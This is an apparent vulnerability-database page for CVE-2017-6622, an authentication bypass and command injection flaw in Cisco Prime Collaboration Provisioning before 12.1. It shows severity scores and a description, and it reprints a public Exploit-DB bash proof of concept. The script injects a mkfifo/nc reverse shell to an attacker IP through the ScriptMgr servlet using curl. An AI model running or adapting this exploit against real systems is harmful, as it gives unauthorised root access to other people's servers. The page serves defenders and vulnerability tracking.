CVE-2017-6622

critical
Published 2017-05-18 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

A vulnerability in the web interface for Cisco Prime Collaboration Provisioning could allow an unauthenticated, remote attacker to bypass authentication and perform command injection with root privileges. The vulnerability is due to missing security constraints in certain HTTP request methods, which could allow access to files via the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the targeted application. This vulnerability affects Cisco Prime Collaboration Provisioning Software Releases prior to 12.1. Cisco Bug IDs: CSCvc98724.

Predictions

Exploit likelihood
97%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42888 remote hardware text ยท 1 KB
Adam Brown ยท 2017-09-27

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution

text exploit Source: Exploit-DB
# Exploit Title: Cisco Prime Collaboration Provisioning < 12.1 - ScriptMgr Servlet Authentication Bypass Remote Code Execution
# Date: 09/27/2017
# Exploit Author: Adam Brown
# Vendor Homepage: https://cisco.com
# Software Link: https://software.cisco.com/download/release.html?mdfid=286308336&softwareid=286289070&release=11.6&flowid=81443
# Version: < 12.1
# Tested on: Debian 8
# CVE : 2017-6622
# Reference: https://www.tenable.com/plugins/index.php?view=single&id=101531
# Mitigation - Upgrade your Cisco Prime Collaboration Provisioning server to 12.1 or later.

# Description - This vulnerability allows an unauthenticated attacker to execute arbitrary Java code on a system running Cisco Prime Collaboration Provisioning server < 12.1 via a scripttext parameter in the ScriptMgr page.

# Usage: ./prime-shell.sh <TARGET-IP> <ATTACKER-IP> <ATTACKER-PORT>

function encode() {
	echo "$1" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
}

TARGET=$1
ATTACKER=$2
PORT=$3

BASH=$(encode "/bin/bash")
COMMAND=$(encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER $PORT >/tmp/f")
SCRIPTTEXT="Runtime.getRuntime().exec(new%20String[]{\"$BASH\",\"-c\",\"$COMMAND\"});"

curl --head -gk "https://$TARGET/cupm/ScriptMgr?command=compile&language=bsh&script=foo&scripttext=$SCRIPTTEXT"

Application impact

References

CWEs

CWE-264 CWE-862

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.